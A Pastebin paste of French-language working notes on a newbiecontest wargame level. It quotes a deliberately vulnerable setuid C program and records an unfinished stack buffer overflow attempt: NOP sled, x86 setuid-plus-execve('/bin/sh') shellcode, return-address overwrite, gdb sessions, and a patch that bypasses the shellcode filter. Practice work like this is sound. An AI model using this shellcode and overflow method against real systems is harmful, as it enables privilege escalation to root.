Combreal

wargame02

Aug 6th, 2020 (edited)
518
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.98 KB | None | 0 0
  1. wargame 02 - wargame.newbiecontest.org:22222 level02///level02
  2. ---> passer root dans le binaire (sticky bit) et faire un cat $HOME/.password
  3.  
  4.  
  5. bin02.c
  6. #include <stdio.h>
  7. #include <string.h>
  8.  
  9. int protect_affiche(char *texte)
  10. {
  11.         char buffer[45];
  12.         strcpy(buffer, texte);
  13.         printf("%s\n",buffer);
  14. }
  15.  
  16. int main(int argc, char ** argv)
  17. {
  18.         char interdit[]={0x89,0x90,0x99,0x80,0xc0,0xe1,0xb0,0x00};
  19.         int i,j;
  20.         if (argc!=2)
  21.         {
  22.                 printf("Usage: %s <texte>\n", argv[0]);
  23.                 return 1;
  24.         }
  25.         for(i=0;argv[1][i];i++)
  26.         {
  27.                 for(j=0;interdit[j];j++)
  28.                 {
  29.                         if(argv[1][i] == interdit[j])
  30.                         {
  31.                                 printf("Detection shellcode !\n");
  32.                                 return 1;
  33.                         }
  34.                 }
  35.         }
  36.         protect_affiche(argv[1]);
  37.         return 0;
  38. }
  39.  
  40.  
  41. mkdir /tmp/wg02 && cp bin02.c /tmp/wg02/bin02.c && cd /tmp/wg02
  42.  
  43. gcc -g -fno-stack-protector -z execstack -o bin02 bin02.c
  44.  
  45. nano b1
  46. #!/usr/bin/python
  47. print 'A' * 53
  48.  
  49. chmod a+x b1
  50. b1 > e1
  51.  
  52. ./bin02 $(cat e1)
  53. Erreur de segmentation
  54.  
  55. vi e1
  56. escape+:  % !xxd
  57. shift+r
  58. replace last 4 with 31323334
  59. escape+:  % !xxd -r
  60. escape+:  wq!
  61.  
  62. gdb bin02
  63. list
  64. b 8
  65. r $(cat e1)
  66. info reg
  67. x/40x $esp
  68.  
  69. nano b2
  70. #!/usr/bin/python
  71.  
  72. nopsled = '\x90' * 8
  73. shellcode = (
  74. '\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2' +
  75. '\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89' +
  76. '\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
  77. )
  78. padding = 'A' * (49 - 8 - 32)
  79. eip = '1234'
  80. print nopsled + shellcode + padding + eip
  81.  
  82. chmod a+x b2
  83. b2 > e2
  84.  
  85. objdump -d bin02
  86. locate the hexa test
  87. 804856c:       84 c0                   test   %al,%al
  88. 804856e:       75 91                   jne    8048501 <main+0x60>
  89. 8048570:       8b 45 0c                mov    0xc(%ebp),%eax
  90. vi b2
  91. escape+:  % !xxd
  92. /75 91
  93. locate the good one (surrounded by 84 c0 & 8b 45 0c)
  94. shift+r
  95. #replace 75 with 74
  96. escape+:  % !xxd -r
  97. escape+:  wq!
  98.  
  99. gdb bin02
  100. b 8
  101. r $(cat e2)
  102. info reg
  103. x/40x $esp
  104. cf screenshot 05b.png
  105. http://www.noelshack.com/2020-32-4-1596727575-05b.png
  106.  
  107. locate adresse mid of NOP Sled
  108. 0xbffffdb0    0xbffffbd0 (avec nopsled 16)
  109. eip = '\xb0\xfd\xff\xbf'
  110. cp b3 b4
  111. nano b3
  112. patch eip
  113. chmod a+x b3
  114. ./b3 > e3
  115.  
  116. gdb bin02
  117. b 8
  118. r $(cat e3)
  119. info reg
  120. x/40x $esp
  121. c
  122. Continuing.
  123. ▒▒▒▒▒▒▒▒1▒ð̀1▒Rhn/shh//bi▒▒RS▒▒B
  124.                                ̀AAAAAAAAA▒▒▒▒
  125.  
  126. Program received signal SIGSEGV, Segmentation fault.
  127. 0xbffffdb0 in ?? ()
  128.  
  129.  
  130. --Questions :
  131. pourquoi buffer overflow à 53 char et non 45? est-ce important?
  132. exploit : nopsled (8) - shellcode (32) - padding (9) - eip (4), pas bon? faut-il un nopsled plus grand? (test avec nopsled 16 nok)
  133. disass/reass de bin02 dans la homedir est-il possible? non, rx only
  134. bin02 en lecture seule, dessas gdb et jump vers la function? (à voir quand l'exploit passera)
  135.  
Add Comment
Please, Sign In to add comment